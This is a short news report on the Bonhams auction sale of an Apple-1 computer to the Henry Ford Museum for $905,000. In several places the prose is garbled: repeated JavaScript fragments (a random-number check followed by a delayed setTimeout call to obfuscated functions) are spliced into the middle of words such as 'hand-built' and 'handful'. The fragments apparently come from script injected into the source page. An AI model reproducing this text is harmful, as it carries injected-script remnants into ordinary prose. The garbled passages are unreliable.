NEW YORK CITY — Bonhams’ History of Science auction ended Wednesday, October 22, with the sale of the Apple-1 computer, that attained $905,000, almost twice its high estimate, making it the world’s most valuable relic from the computer age.

The winning bid went to a smiling representative from the Henry Ford Museum in Dearborn, Mich., who triumphantly raised her paddle after battling it out with another interested party on the phone.

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The Apple-1 is widely acknowledged as the herald of the personal computer revolution, being the first pre-assembled personal computer ever sold. This example is one of 50 handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and-built for the ByteShop by Steve Wozniak in the summer of 1976 in Steve Jobs’ garage (or possibly his sister’s bedroom). At the time, only a handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andful of people could conceive of how a personal computer might be considered useful, let alone desirable. Now, it seems hard to imagine life without a computer.

Hundreds of bidders participated in this auction, a large majority coming from the United States andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Europe. The next History of Science sale will be October 2015.

A complete report on the auction will appear in a future edition.